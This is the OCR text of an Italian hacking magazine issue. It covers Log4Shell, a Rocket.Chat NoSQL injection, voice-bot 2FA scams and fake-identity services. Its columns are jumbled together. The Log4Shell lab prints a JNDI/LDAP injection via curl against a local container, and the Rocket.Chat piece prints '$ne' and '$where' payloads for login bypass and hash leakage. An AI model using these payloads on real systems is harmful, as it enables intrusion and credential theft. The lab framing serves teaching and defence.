Esplora E-book
Categorie
Esplora Audiolibri
Categorie
Esplora Riviste
Categorie
Esplora Documenti
Categorie
febbraio
UN’IDENTITÀ FAKE
N.259
Dal 2002 tutto quello che gli altri non osano dirti
Il segugio
del filesystem
Ricostruiamo tutte le azioni
svolte sui file dagli utenti
del computer
La scheda che
TARIFFA R.O.C. Poste Italiane S.p.A. – spedizione in abbonamento postale – MBPA/LO-NO/125/A.P./2017- ART.1 COMMA1- S /NA
cattura il Wi-Fi
Il trucco per trasformarla
in un router wireless
e ficcanasare nell’etere
Internet... è arrivata
l’apocalisse!Una libreria usata da migliaia di aziende e sviluppata
Il bot che da pochi volontari... cosa mai potrà andare storto? Tutto!
ti ruba il 2fa
Negli USA spopolano
i sistemi vocali
automatici che fregano
gli account agli utenti.
pentesting messaggi nascosti
Se riesci a scrivere la cosa giusta Impara l’arte della steganografia
E si comprano al nei log di un sistema, gli fai fare e neanche l’NSA riuscirà a spiare
mercato del Dark Web ciò che vuoi con un attacco RCE le tue comunicazioni riservate
MA THE
GEEK
Dall’Autore di Bestseller Philip Osbourne
Mac è un nerd di 16
anni che scopre che
la sua ragazza lo ha
ingannato e tradito.
E lo ha fatto proprio
con il migliore amico
del giovane.
Il nostro protagonista
non si fa sopraf-
fare dalla delusione
e decide di creare
un’App che può
rilevare le bugie in
tempo reale.
M
atrix è sempre più vicina. Di cosa
parliamo? Del tanto decantato
metaverso, la tecnologia che ci farà
immergere in una realtà a cavallo tra
quella “reale” e quella virtuale. Chi ha letto il romanzo di
fantascienza Snow Crash di Neal Stephenson sa bene di
cosa si tratta: il metaverso è una simulazione iper realistica
del mondo reale, in cui ci muoveremo usando un avatar,
un “personaggio” che ci rappresenterà. Per entrare
in questa realtà digitale useremo (o dobbiamo già dire
“usiamo”?) strumenti come l’Oculus Quest 2 di Facebook...
no, scusate, Meta. Ma gli attori scesi in campo sono tanti
(Microsoft, NVIDIA, Roblox, Epic Games...) e il volume
d’affari è già notevole. Tutto molto bello, ma se già ora
i nostri dati personali girano con pochi controlli in Rete, CONTATTI
cosa succederà della nostra “identità digitale” in un mondo
REDAZIONE
totalmente inesplorato e in mano alle solite big del tech o a
redazione@hackerjournal.it
quelle nuove che entreranno nel mercato? Per non parlare
ABBONAMENTI
del cybercrimine, che di sicuro non si lascerà sfuggire E ARRETRATI
abbonamenti@sprea.it
questa nuova frontiera. Tanto per citare i possibili pericoli: www.sprea.it/digital
sorveglianza ancora più a 360°; maggiori possibilità
FACEBOOK
di falsificare le identità o di “orientare” le nostre decisioni; www.facebook.com/
hackerjournal/
furto di dati biometrici o di altro tipo; distacco dalla realtà...
E non sappiamo se ci sarà la pillola blu per risvegliarci. SITO WEB
www.hackerjournal.it
ro sara
Il prossimo num5efe
in edicola dal 2 bbraio
HACKTUALITÀ
News
Notizie e anticipazioni dell’universo hacker................................................................ 06
COVER STORY
Internet... è arrivata l’apocalisse
La vulnerabilità Log4Shell sta preoccupando l’intera Rete.................................... 10
M IGL IORARE
A I
P
U
R
T
E
A
F
C
EI
RA
I TA!
A T UA R I V ISTA
L .ly/hackerjo
://bit
urnal
Vai su https questionario anonimo
e compila il
4
Il primo manifesto hacker
“... avete mai guardato dietro agli occhi dell’hacker?
Vi siete mai chiesti cosa lo stimola, che forze
lo hanno formato, cosa può averlo forgiato?
Io sono un hacker, entra nel mio mondo...”
ke
Profili fa
SICUREZZA
Profili fake | Pirati e false identità
Alcune risorse per creare identità fittizie da usare in Rete................................... 24
Pentesting | Attacco ai log! Terza parte
Dopo XSS e DoS, ecco a voi un attacco RCE in salsa log!....................................28
> 24
HOW TO 36
Sniffing | Sniffare il traffico su rete Wi-Fi
Basta un SoC da pochi euro per catturare i pacchetti scambiati dai device vicini... 36
odeMCU ESP8266
Log di Windows | Accessi al filesystem! N
Grazie all’audit di Windows, ricostruiamo le attività di ogni utente sul PC................50
> 56
HACKULTURE
Dati personali | Facebook è il male, ma Google è il suo maestro
Zuckerberg ha imparato come estrarre e monetizzare i dati dalle persone
grazie al lavoro fatto venti anni fa da Larry Page e Sergei Brin...................................... 56
NLETETURW
E
S Hanno sfondat
o
are
anche il nucle
#LEAK 800 GB di dati sensibili sugli impianti nucleari
italiani sono finiti su un forum russo di pirati informatici
6
NEWS
Albione svela le Pronti a far fuori
ASSANGE
parole chiave violate
#INGIUSTIZIA L’Alta Corte
#PASSWORD L’Inghilterra condivide 585 milioni londinese ribalta il verdetto
di password con Have I Been Pwned del giudice e apre all’estradizione
del padre di WikiLeaks
L’oligarchia
pubblicato su Twitter da WikiLeaks.
russa
combatte
TOR
7
HACKTUALITÀ
KALI
LINUX
2021.4
SPACCA!
#DISTRO Il rilascio della
nuova versione porta tanti
miglioramenti e nuove
funzionalità
I n questa nuova versione della nota distribuzione per pentester ed esperti di security, il client Samba è stato
riconfigurato per essere compatibile con qualsiasi server Samba, indipendentemente dall’opzione
di protocollo selezionata sul server. Ciò facilita la ricerca di server Samba vulnerabili sulla rete e anche
la modalità Compatibilità può essere modificata utilizzando l’utility kali-tweaks. Un altro cambiamento
che si distingue, sempre in kali-tweaks, risiede nella configurazione mirror: viene ora fornita la capacità
di accelerare la consegna degli aggiornamenti utilizzando la rete di distribuzione dei contenuti CloudFlare.
Gli sviluppatori della distro hanno poi migliorato il supporto per i sistemi Apple basati sul chip ARM M1
e hanno introdotto la possibilità di cambiare skin e set di icone per le utility Kaboxer, inclusa l’opzione
di utilizzare un tema scuro.
E P R E N D E D I M IRA L’ITALIA
IL RANSOMWAR
#CLASSIFICHE Il nostro Paese è terzo al mondo per attacchi
ransomware subiti, siamo messi bene...
8
HA C K T U A L I TA À
cover story Internet... e arrivata l ’apocalisse
La vulnerabilità Log4Shell sta preoccupando l’intera Rete............................................................... 10
In t e r n e t .. . è a r r iva t a
Log4jshell
l’apocalisse!
è una gravissima MS
THE FALLEN DREA
vulnerabilità 0-day a volta
P
rendendo ancora un
che ha colpito spunto dal manifes to/
che ha
libro
ci
The Fallen Dreams
migliaia di sistemi accompagnato nei me
andri
articolo
in Rete. Scopri dell’hackin g, il
si presenta come un
se gu en te
o spin-off
come funziona della serie, in cu i ve
gli
sti
av
remo
versari
il ruolo di uno de
del protagonista.
In collaborazione con
thehackingquest.net
10
E
siste un principio nella fisica quantistica Qualcuno ha
che descrive lo stato di un sistema e la sua definito Log4Shell
variabilità a seconda dell’osservatore:
una vera “pandemia”
ciò che vediamo esiste in vari stati,
ma noi percepiamo solo quello che stiamo che ha colpito metà
osservando. Proprio come il famoso gatto di delle reti aziendali
Schrödinger poteva essere vivo o morto a seconda
che la scatola in cui era contenuto fosse chiusa che qualsiasi applicazione Java che utilizzi Log4j
o aperta, allo stesso modo ciò che definiamo è potenzialmente vulnerabile. Qualcuno
“realtà” varia sempre a seconda di chi la osserva, sicuramente starà dicendo: “non uso Log4j…
di chi la vive. Questo ci fa riflettere su due aspetti non mi riguarda”. Ma il passaggio non è così
(in realtà molti di più): il primo è la necessità immediato. Anche se un’applicazione non utilizza
di una scelta; il secondo è la relatività di cui tutto direttamente Log4j un’altra libreria potrebbe farne
si compone. Se si osserva una banale libreria Open uso per registrare i propri log. Considerando
Source, ci sarà chi la vedrà come un ottimo la popolarità di questa libreria, potremmo
strumento per funzionalità di logging, e chi invece assumere che mediamente qualsiasi applicazione
scorgerà una vulnerabilità con uno score CVSS Java che registra i propri log, ne faccia uso.
10/10, che permette l’esecuzione remota di codice Nei progetti analizzati, è stato stimato che Log4j
arbitrario, chiamata log4shell. Ma procediamo venga utilizzata come mostrato in [figura #1].
come al solito step-by-step.
CHE COS’È LOG4SHELL?
CHE COSA È LOG4J? Con un “Common Vulnerability Scoring System”
Si tratta di una libreria molto popolare, scritta (CVSS) di 10/10, la vulnerabilità permette
da Ceki Gülcü nel 2001, utilizzata per le interazioni l’esecuzione di un codice remoto (RCE)
con i messaggi del codice Java. È difatti possibile sulla macchina vittima: l’attaccante che sfrutta
registrare log, messaggi d’errore e di debug con successo questa vulnerabilità sull’applicazione
del codice, scrivendoli su uno o più file per Java può eseguire codice arbitrario sulla macchina
poi consultarli, gestirli o fare troubleshooting. vittima, sia essa un server, un client o un device
Difatti, una qualunque applicazione scritta in di altra natura. Da qui il nome Log4Shell a.k.a.
linguaggio Java ha necessità di registrare i propri CVE-2021-4428: il successo dello sfruttamento
log. La quantità di questi log è direttamente della vulnerabilità garantisce una “Shell”
proporzionale al crescere della complessità di comandi sulla macchina. Addentriamoci
dell’applicazione. adesso negli aspetti tecnici della vulnerabilità
e accingiamoci a comprenderne il funzionamento.
QUANTO È USATA LOG4J? Le vulnerabilità sfruttabili in questa libreria
Il banner durante l’installazione di Java risiedono nella combinazione di diversi
è emblematico: “#1 Development Platform”. fattori/caratteristiche di Log4j, vediamo la prima.
1
E ancora: “3 Billion Devices Run Java”. Vale a dire
LOG EXPRESSIONS
Log4j ci permette di loggare espressioni.
Analizziamo, per esempio, le seguenti linee
di codice, immagazzinate dal log, scrivendo il log
del dato “Messaggio d’errore”:
figura #1
logger.error(“Messaggio d’errore: {}”,
error.getMessage());
11
HACKTUALITÀ et... è arrivata l’apocalisse!
COVER STORY: Intern
UNA TECNICA CHE
HA GIÀ COLPITO
IN PASSATO
La tecnica d’attacco definita come LogInjection,
a.k.a. Log Forgery, non è nata di certo con
la vulnerabilità Log4Shell, anzi è alla base di
molteplici attacchi. Si tratta di una vulnerabilità
in cui l’input non attendibile, immesso in una data
applicazione, può compromettere l’integrità
dei file di registro dell’applicazione o del sistema
figura #2
stesso. È stata utilizzata (e in parte viene
usata ancora adesso) per ingannare i sistemi
di monitoraggio e Security Information
and Event Manager (SIEM).
Esaminiamo (“Messaggio d’errore; {}”, error.
getMessage());. Ciò che facciamo con questo
codice è andare a “loggare” l’oggetto error. percorso (una “remote location”) in modo
getMessage fra le parentesi graffe della stringa consecutivo, “serializzandolo”. Un esempio può
“Messaggio d’errore; {}”. In altre parole, ciò essere il seguente Active Directory link (LDAP URL):
che fa Log4j è inviare l’errore che abbiamo ricevuto
fra le parentesi graffe della stringa di testo. ldap://10.10.10.10:5555/O=HackerJournal,
Il nostro output sarà quindi: Messaggio d’errore: C=IT
[l’errore contenuto nell’oggetto error.getMessage].
Un ulteriore esempio può essere il seguente: dove:
la stringa immagazzina nel log il nome dell’utente • ldap:// - invochiamo l’LDAP schema, il nome
get(“Name”) con il relativo id getId() utilizzato del comando;
per effettuare l’accesso. • 10.10.10.10 - l’indirizzo IP del server a cui stiamo
puntando;
logger.info(“L’utente {} ha effettuato • :5555 - la porta del server a cui stiamo puntando;
l’accesso con l’id {}, map.get(“Name”), • /O=HackerJournal, C=IT - profile object a cui
user.getId()); stiamo puntando.
2 3
JAVA NAMING AND DIRECTORY JNDI LOOKUPS MESSAGES
INTERFACE (JNDI) La terza caratteristica che analizzeremo
È un’API Java che permette di scrivere fu introdotta in Log4j nel 2013 e permette
e immagazzinare un dato oggetto Java in un dato di eseguire un JNDI Lookup su una determinata
figura #3
12
figura #4
tipologia di stringhe (una ricerca di un dato {}”, “${env:ENV_VALUE}”);
carattere) e inserirla nel messaggio d’errore.
Prendiamo, per esempio, il seguente codice: Proprio quest’ultima caratteristica di Log4j
rappresenta la nostra vulnerabilità. Ma facciamo un
logger.error(“Messaggio d’errore: {}”, “Log4j esempio concreto.
HackerJournal”);
LOG INJECTION
Molto intuitivamente, viene scritta all’interno del log Ipotizziamo di poter inserire diversi valori in una
la stringa Log4j HackerJournal. E se invece la stringa pagina (un form) di ricerca. Questi valori verranno
che noi passiamo è un argomento con una sintassi successivamente passati all’applicazione Java in
speciale, per esempio con il carattere “dollaro”? background, che si occuperà di eseguire la ricerca e
di loggare anche i valori ricercati dall’utente [figura
logger.error(“Cerca ed inserisci il valore: #2]. Quindi nella nostra app avremo il seguente
{}”, “${jndi:ldap://…}”); codice, che memorizzerà ciò che l’utente ha inserito
per effettuare la ricerca searchTextInput nei log.
Il carattere $ rappresenta una “sintassi speciale di
Lookup”, che andrà inserito fra le parentesi graffe. final Logger logger = LogManager.
Nel medesimo modo una variabile di sistema potrà getLogger(…);
anch’essa essere inserita fra le parentesi graffe logger.error(“Pagina ricercata: {}”,
e scritta nel nostro flusso di log: searchTextInput());
STORYLINE ${jndi:ldap://phishing-ldap/evilobject”}
13
HACKTUALITÀ et... è arrivata l’apocalisse!
COVER STORY: Intern
PROOF OF CONCEPT
Per effettuare il nostro test utilizzeremo il seguente
COSA POSSO FARE?
exploit per Log4j, scaricabile al seguente indirizzo:
https://github.com/leonjza/log4jpwn. Come prima Niente, in linea generale. Sono
cosa, avviamo la nostra Kali Linux e apriamo gli amministratori di sistema che
un terminale di comando. Cloniamo il repository hanno dovuto (o devono se non
l’hanno ancora fatto) intervenire,
utilizzando il comando
aggiornando server e applicazioni
a livello di backend. Chissà se
git clone https://github.com/leonjza/ riusciranno a patchare anche le
log4jpwn sonde spaziali che usano Log4j...
A questo punto, non rimane che aggiungere docker run --rm -p9999:8080 log4jpwn
il nostro utente al gruppo “docker“:
dove:
sudo usermod -aG docker $USER • docker - invoca docker
figura #5
14
Facendo delle scansioni del ${jndi:ldap://172.17.0.1:8888/a}’
interno possiamo scoprire Curl è un tool (che utilizza le librerie libcurl) a linea
se le macchine della nostra di comando, per prelevare o inviare dati (inclusi file)
rete sono vulnerabili utilizzando la sintassi Uniform Resource Locator
(URL). Nell’esempio precedente abbiamo usato
• run - avvia il container le opzioni seguenti:
• --rm - rimuove i volumi associati al container • -H - opzione necessaria per specificare l’Header
• -p9999:8080 - specifica la porta ‘User-Agent: ${jndi:ldap://172.17.0.1:8888/a}’
• log4jpwn - il nome del container che desideriamo localhost:9999;
eseguire. • ldap://172.17.0.1:8888 - simula il server malevolo
Prima di eseguire il prossimo comando verifichiamo controllato dall’attaccante. L’indirizzo IP ldap sarà
l’IP del nostro docker. Apriamo un nuovo terminale l’IP del nostro docker container che abbiamo visto
e digitiamo essere 172.17.0.1. Abbiamo così avviato netcat
in ascolto sulla porta 8888;
ip a s docker0 • localhost:9999 - è il nostro servizio vulnerabile
in ascolto sulla porta 9999.
dove: Appena avremo premuto Invio, riceveremo
• ip - questo comando può essere usato la nostra connessione su netcat [figura #5]!
per mostrare o manipolare routing, device
L’USO FURBETTO
o tunnel;
DEL SOFTWARE
• a - mostra tutto (all);
• s - mostra “statistiche”;
OPEN SOURCE
• docker0 - il nome del device, in questo caso
il nostro docker, di cui vogliamo visualizzare
l’indirizzo IP.
Vorremmo ora concludere questo capitolo
Nel nostro caso (e probabilmente anche nel vostro)
con una riflessione di “Koushik Kothagal (Java
sarà: 172.17.0.1. Non chiudiamo il terminale Brains)”: i media in generale stanno parlando
(per comodità) e sempre sullo stesso molto di questa vulnerabilità (come è giusto
in cui abbiamo verificato l’IP, mettiamoci che sia). Tuttavia è necessario riflettere
in ascolto digitando su un particolare. La feature che espone Log4j
all’exploitation fu introdotta nel 2013 ed è venuta
alla luce solamente nel 2021. In generale, questi
nc -lnvp 8888
tipi di vulnerabilità sono già avvenuti in
precedenza (per esempio Heartbleed) e il
con denominatore comune è sempre lo stesso: molte
• nc - invochiamo netcat; aziende utilizzano gratuitamente software Open
Source per fini economici. Molteplici imprese
• -l - mettiamoci in ascolto localmente;
trovano software Open Source già pronti e ci
• n - no DNS o hostname; costruiscono attorno il loro Business Model
• v - in modalità verbose; per fare soldi e questo succede spesso anche
• p - specifichiamo la porta; con aziende di Cyber Security. Forse è giunto
• 8888 - porta su cui ci stiamo mettendo in ascolto. il momento in cui società e aziende che fanno
A questo punto, non ci resta che lanciare soldi e fondano modelli di Business su software
il comando malevolo. Apriamo un nuovo terminale Free (che la comunità mette a disposizione)
si attengano a un modello etico per cui quando
e digitiamo il comando
investono sul software (compresa la Cyber
Security) si impegnino a riconoscere alla
curl -H ‘User-Agent: comunità la sua dovuta importanza.
15
HACKTUALITÀ
Il m e r c a t o d e i
2FA, SICURA O NO?
b o
Il mantra dietro l’autenticazione
t i l l e g a l i
a due fattori è “Qualcosa che sai,
o co m e fu nz io na no gli attacchi che negli
qualcosa che hai, qualcosa che
E cc
sei”. Ok, sono tre, ma il motivo
et to no di tr uf fa re i consumatori
è che si può scegliere. Quello USA perm
i codici 2FA
usando bot che rubano
che sai è la password, il pin o la
risposta alla domanda segreta.
L’
Quello che hai è qualcosa in tuo
possesso: lo smartphone, la carta attacco non potrebbe I FAKE CALLER ID
di credito, il token con il chip RFID. essere più semplice. La prima parte di questo tipo
Quello che sei è la biometria: dalle Facciamo finta che di truffa si basa sulla capacità
impronte digitali alla scansione siete negli USA e che dei cybercriminali di effettuare
dell’iride o al riconoscimento della
il sistema di prevenzione delle chiamate in automatico
voce. La sicurezza deriva dal fatto
che la compromissione di uno di
frodi di PayPal vi chiami con falsificando il proprio caller ID
questi fattori da solo non sblocca uno dei suoi bot vocali che e trasformandolo in cose come
l’account. Ma solo se la 2FA viene fanno chiamate automatiche PayPal Inc. o Banca XX.
usata in modo corretto. per informare che c’è una spesa Questo è possibile perché
Il problema è che non basta che in corso. Sul vostro telefono chiamano utilizzando sistemi
siate voi utenti a fare tutto giusto,
è appena arrivata la notifica VoIP su linee internazionali con
anche il fornitore del servizio e gli
altri attori coinvolti (per esempio i che avete speso una cifra dichiarazioni del caller ID che
produttori dei telefonini e dei loro piccola (una trentina di dollari). non possono essere verificate.
sistemi operativi) devono fare Il bot vi chiama informandovi La chiamata è fatta da un vero
le cose a regola d’arte per evitare che si tratta di un acquisto bot: la voce è chiaramente falsa.
gli attacchi (scegliere i fattori di fraudolento e che per fare Non c’è nessun trucco in questo,
autenticazione corretti e verificare
la verifica e bloccarlo dovete ci siamo abituati anche in Italia:
in tempo reale che non ci siano
nuovi attacchi capaci di superarli) digitare il codice che PayPal stanno aumentando i servizi
e proteggere i vostri dati. vi ha appena inviato per SMS. commerciali che vendono bot
Lo fate e a questo punto il bot audio per fare telefonate di
vi rassicura che la truffa è stata marketing. Li usano grandi
bloccata, ma ci vorranno dalle aziende come Amazon ma anche
24 alle 48 ore prima che le compagnie telefoniche
la spesa venga scaricata e sempre più spesso anche
dal vostro conto e che l’ID aziende commerciali italiane.
della pratica è xxxx. Ecco, I bot servono perché,
siete appena stati truffati. ovviamente, costano molto
16
FURTO 2FA
I truffatori impartiscono i comandi La chiamata serve per ottenere
da voi l’ultimo elemento che
ai bot audio usando piattaforme manca al completamento della
come Telegram e Discord transazione: il codice inviato,
nell’esempio da PayPal, che ha
meno di un operatore “vivo” il santo protettore della valore per pochi minuti. L’attacco
e possono essere parallelizzati cybersecurity, Bruce Schneier, “la diventa, nella sua seconda parte,
molto velocemente. Il fatto che sicurezza è un trade-off: più un un “man in the middle”:
i bot dei cyberattaccanti suonino sistema è sicuro meno è usabile l’attaccante è collegato da una
proprio come bot audio è un plus e viceversa”. E sappiamo già che parte al vostro servizio e
dell’attacco, perché come per gli utenti vogliono poter usare dall’altra a voi, e fa finta con
tutte le altre truffe deve sembrare i loro conti correnti, account ciascuno dei due di essere l’altro,
plausibile. Spesso la voce di PayPal, Amazon, eBay e via passando domande e risposte.
sintetica è la stessa o molto simile dicendo senza troppe difficoltà.
a quella usata da altri servizi. La truffa in questo caso è IL DIAVOLO STA NEI DETTAGLI
piuttosto ovvia: il bot vocale Un attacco di questo genere
LA TRUFFA CHE BATTE LA 2FA fa parte della stessa squadra è estremamente semplice
I sistemi di autenticazione a due che vi ha appena addebitato ed efficace, per come è stata
fattori sono sicuri nella misura un pagamento su PayPal (quindi concepita la difesa (codice
in cui lo è il sistema in cui conoscono la vostra mail, via SMS) e per come sono stati
vengono usati e i comportamenti la vostra password e il vostro strutturati i meccanismi
dell’utente che li usa. Come dice numero di telefono cellulare). di verifica (telefonate di bot
17
HACKTUALITÀ
18
hackerjournal.it
BUC A R E L A C H AT
SENZA SQL
GLOSSARIO
DI BASE
SQL
Simple Query Language, è un
st em a di m es sa g g is tica Rocket.Chat
linguaggio per database basato Il si
sulle query, cioè delle
cu ne no SQ L inje ct io n che permettono
ha al
di bypassare il login
interrogazioni che usano una
sintassi ben definita. Ogni
a un malintenzionato
operazione, dall’inserimento di
amministrazione
dati alla ricerca, viene eseguita ottenendo i privilegi di
passando al motore del database
L
una richiesta che è
sostanzialmente una stringa avorando con un database istantanea utilizzato da molte
di testo. L’alternativa ai database
SQL occorre validare tutti community online e all’interno
che usano l’SQL sono i database
noSQL, nei quali si utilizzano i dati forniti dall’utente per di aziende. Alcuni gruppi di
delle librerie per accedere agli evitare che qualcuno possa sviluppatori di software Open
elementi della base dati come se passare una stringa che, se inserita Source la utilizzano come
fossero degli oggetti (ciascuno nella query prevista dall’app, la strumento di supporto per gli
con le sue funzioni e proprietà).
spezzi ed esegua altre istruzioni utenti, consentendo anche
SQL. Si potrebbe pensare che i l’accesso a chi non è autenticato.
SQL INJECTION
Applicazione basata su SQL che database noSQL non abbiano di Naturalmente c’è una distinzione
ha il compito di comunicare con questi problemi. Gli sviluppatori di tra gli utenti semplici e gli
il database costruendo delle MongoDB, uno dei più famosi amministratori, fondamentale per
query e inviandole. Per costruire database noSQL, avevano scritto: garantire la privacy e la sicurezza di
le query viene spesso utilizzato
“Con MongoDB non costruiamo tutti. Ma con una noSQL injection
un input dell’utente: questo
significa che se il testo fornito query da stringhe, quindi i è possibile ottenere, a causa di un
dall’utente non viene pulito tradizionali attacchi SQL injection bug nell’applicazione, l’accesso
adeguatamente, si potrebbero non sono un problema”. Che non è a un account di amministrazione,
inserire comandi SQL e cambiare né del tutto vero, né del tutto falso. con un controllo completo sulla
il funzionamento della query. messaggistica privata di tutti.
VELOCE COME UN RAZZO Il principio di funzionamento delle
JSON
È un formato testuale che Tra le applicazioni più famose noSQL injection è sostanzialmente
memorizza dizionari e array: basate su MongoDB c’è Rocket. lo stesso delle SQL injection,
coppie di dati (chiave e valore), Chat, un sistema di messaggistica cambia solo la forma. In MongoDB
e liste di dati. È ormai uno
standard per scrivere tipologie
di dati che vanno in coppia, per Ricordiamo che attaccare server
esempio “nome”: “Garfield”
e “animale”: “gatto” oppure altrui è un reato, per cui facciamo
“cibo preferito”: “lasagna,
polpette, croccantini”.
esperimenti solo sulle macchine
che abbiamo tirato su noi
20
VULNERABILITÀ
{“$ne”:1}
figura #1 {
L’exploit permette l’estrazione di informazioni critiche come hash della username: “admin”,
password e token per il reset delle credenziali. password: {
“$ne”:1
memorizziamo documenti JSON, accetta sia una stringa che un }
non tabelle. Un tipico documento oggetto (l’operatore $gt è a sua }
è qualcosa del genere: volta racchiuso in un dizionario).
In una situazione come questa è Siccome la password sarà sempre
{ possibile per l’utente eseguire una diversa da “1”, la condizione
_id: noSQL injection se l’app prende il risulterebbe vera e il login verrebbe
“507f1f77bcf86cd799439011”, suo input e lo inserisce nel JSON quindi autorizzato. Anche se
name: “admin”, senza controllarlo adeguatamente. Rocket.Chat verifica questo tipo di
age: 42, Per esempio, una query per input, una volta loggati è possibile
secrets: { verificare la corrispondenza della sfruttare una noSQL injection per
token: “s3cr3t” password di un utente è: ottenere un accesso da root.
},
role: “unprivileged” { RAMPA DI LANCIO
} username: “admin”, L’API di Rocket.Chat users.list
password: “s3cret” prende i parametri per la ricerca
In questo caso, una semplice query } degli utenti dall’URL della sua
per trovare gli utenti che hanno il chiamata. Questi parametri
ruolo di amministrazione e più di Ma il malintenzionato potrebbe vengono utilizzati per costruire la
40 anni avrebbe questa forma: scrivere al posto della password: query sulla collection degli utenti.
{
age: {
$gt: 40
},
role: “unprivileged”
}
21
HACKTUALITÀ
ENTITÀ DELLA VULNERABILITÀ
Ogni volta che si passano dati Se è possibile ottenere l’hash della
a un database, essi devono essere password di un amministratore
sanificati, altrimenti si rischia grosso è chiaro che un’installazione
di Rocket.Chat non può essere
Siccome nella collection vi sono collection, ma non considera i vari considerata sicura. Le eventuali
dei campi che non devono essere operatori messi a disposizione a un conversazioni private rischiano
accessibili a tutti, è stato livello più alto da MongoDB stesso. di essere trafugate. Ma non solo:
implementato un controllo basato È quindi possibile inserire nella Rocket.Chat ha una serie
su una blacklist: vengono rifiutate query l’operatore $where, che di estensioni che creano dei
tutte le richieste di campi che non prende una espressione regolare webhook, per il collegamento ad
dovrebbero essere pubblici. e la esegue con l’interprete altri servizi, che possono essere
Questo è un estratto del codice: JavaScript. Questa cosa diventa abilitate da un amministratore.
interessante perché c’è un Il problema è che è possibile anche
API.v1.addRoute(‘users.list’, dettaglio sulla gestione degli errori definire uno script da avviare
{ authRequired: true }, { che torna comodo ai quando il webhook viene attivato
get() { malintenzionati. La query: da una chiamata. Gli script
// … vengono eseguiti dalla VM di
const { sort, { “$where”:”this. NodeJS, ma sappiamo bene che
fields, query } = this. username===’admin’ && (()=>{ questo non è un vero meccanismo
parseJsonQuery(); throw this.secret })()”} di sicurezza. È quindi chiaro
const users = Users. che un malintenzionato diventato
find(query, { /* … */}). fornirebbe la risposta: amministratore potrebbe
fetch(); preparare uno script che, tramite la
return API.v1. { “success”: false, funzione exec, esegue dei comandi
success({ “error”: “uncaught sulla macchina di Rocket.Chat.
users, exception: aHR0cHM6Ly9iaXQubHk A questa vulnerabilità si aggiunge
// … vM3VQclgwUA==”} un’altra noSQL injection che
}); permette, con un certo numero
}, che contiene proprio l’hash della di tentativi, di ottenere il token
}); password dell’utente admin. per il reset della password di un
Un malintenzionato può risalire qualsiasi utente. Unendo i due bug
Il problema sta proprio in questo alla password tramite un attacco è possibile per un malintenzionato
controllo: autorizzare una query a dizionario o bruteforce, e anche privo di qualsiasi accesso alla chat
in base a una blacklist è in realtà ottenere altre informazioni come ottenere dapprima il login come
abbastanza permissivo e poco l’email e il secret per l’eventuale utente semplice, e poi le credenziali
sicuro, perché significa che tutti i autenticazione a due fattori. di un amministratore.
campi non specificati nella blacklist
possono essere oggetto della
query. Quindi basta dimenticarsi
di includere qualche campo nella
LA SOLUZIONE
blacklist e diventa possibile lanciare
query pericolose. Sarebbe più
sicuro un meccanismo a whitelist,
I n seguito alla responsible disclosure delle vulnerabilità da parte
del team che le ha scoperte (SonarSource), gli sviluppatori hanno
rilasciato dei bugfix in meno di un mese. La versione vulnerabile
con una limitata selezione di campi è la 3.12.1: è consigliabile aggiornare la propria installazione
di Rocket.Chat alla 3.12.4 o anche alla 3.13.2. I fix consistono
accessibili. È quello che è successo:
“semplicemente” in un controllo molto più rigido dell’input
la blacklist tiene in considerazione dell’utente, per assicurarsi che sia una stringa e non un oggetto.
soltanto i campi presenti nella
22
SICUREZZA
profili fake Pirati e false identita
Alcune risorse per creare identità fittizie da usare in Rete............................................... 24
24
PROFILI FAKE
L
e truffe online sono, di sforzarsi nel creare un nome ARMA
purtroppo, all’ordine e un indirizzo credibili, non fa
A DOPPIO TAGLIO
del giorno. Per esempio, altro che andare su un sito
Creare profili falsi è un’arma
la classica email nella come Fake Name Generator
a disposizione anche degli
quale un fantomatico avvocato (https://fakenamegenerator. hacker buoni e delle Forze
o un parente di un defunto com). Approdato al sito, non dell’Ordine. Insomma, si
ci offrono una donazione e ci deve fare altro che selezionare possono usare per ingannare
chiedono quindi tutti i nostri il sesso (Gender), la nazionalità chi ci vuole ingannare.
È quanto ha fatto un nostro
dati personali e il numero di del nome (Name set) e la
collaboratore nel numero 254
telefono. Oppure quando una nazionalità “di residenza” di Hacker Journal, riuscendo a
graziosa signorina ci contatta (Country). Preme il pulsante carpire alcune informazioni sul
su Facebook dicendo che siamo Generate e il sito crea quasi criminale che stava cercando di
il suo partner perfetto. all’istante un profilo fake (finto) truffarlo per poi passare il tutto
Ovviamente l’identità di chi di tutto rispetto, con indirizzo alla Polizia Postale, l’ente
preposto a questo tipo di
scrive è falsa. Ma i criminali di residenza, data di nascita,
indagini. Nell’articolo potete
nascosti dietro queste truffe nome della madre, casella leggere le procedure che ha
come fanno a creare delle di posta temporanea su usato per incastrare il furfante.
identità credibili? Fanno chissà fakemailgenerator.com, un Come dice il detto, chi la fa
quali ricerche offline e online numero di telefono che i servizi l’aspetti!
o usano mezzi particolarmente online dovrebbero ritenere
sofisticati? Comprano i dati valido, caratteristiche fisiche,
di altre persone nel Dark Web? una falsa carta di credito,
Beh, se qualcuno ci vuole tirare colore preferito e altro ancora.
un brutto scherzo, la risposta In questo modo si possono
è molto più semplice. creare profili di molte nazioni
del mondo, dall’Australia
SEMPLICI SERVIZI ONLINE all’Uruguay. Non esiste un’app
Se il pirata di turno vuole crearsi mobile per questo sito,
una falsa identità trova in Rete ma se il pirata vuole trasferire
diverse “armi” a sua i dati nella rubrica del suo
disposizione. Partiamo dai dati smartphone, così da averli
anagrafici. Il criminale, invece sempre con sé, può usare
Un clic e si cambia
identità. Grazie a Fake
Name Generator un
pirata impiega solo
qualche istante per
creare un’identità fittizia
da usare per frodarci,
facciamo attenzione.
25
SICUREZZA
Per i più pigri.
Se il pirata non ha
neanche voglia di copiare
e incollare i dati
falsi dell’identità fake
che ha creato, può usare
l’estensione Fake Data
che compila i form online
in automatico.
26
PROFILI FAKE
è possibile scaricare immagini
JPG dalla risoluzione ridotta
(512x512 pixel) e con una
filigrana (che un pirata riesce
a rimuovere senza troppi
problemi...).
Praticamente reali.
L’Intelligenza Artificiale
di https://generated.
photos/faces
genera fotografie di
persone inesistenti
difficilmente distinguibili
da quelle reali.
27
SICUREZZA
TERZA PARTE
I
niziamo la nuova puntata legale. In questa fase della verifica abbiamo ottenuto lo scopo
di questa serie con un breve di sicurezza ci siamo focalizzati di mostrare quanto possa essere
riepilogo di quanto visto sinora. sullo strato applicativo, e più pericoloso, per la sicurezza
Siamo impegnati nella verifica precisamente sul server Web, che complessiva di un sistema,
di sicurezza di una rete di ospita la Web application disporre di un meccanismo di log
addestramento ribattezzata Mutillidae (vedi omonimo box). progettato in maniera grossolana
“palestra per pentester”, che o non sufficientemente protetto.
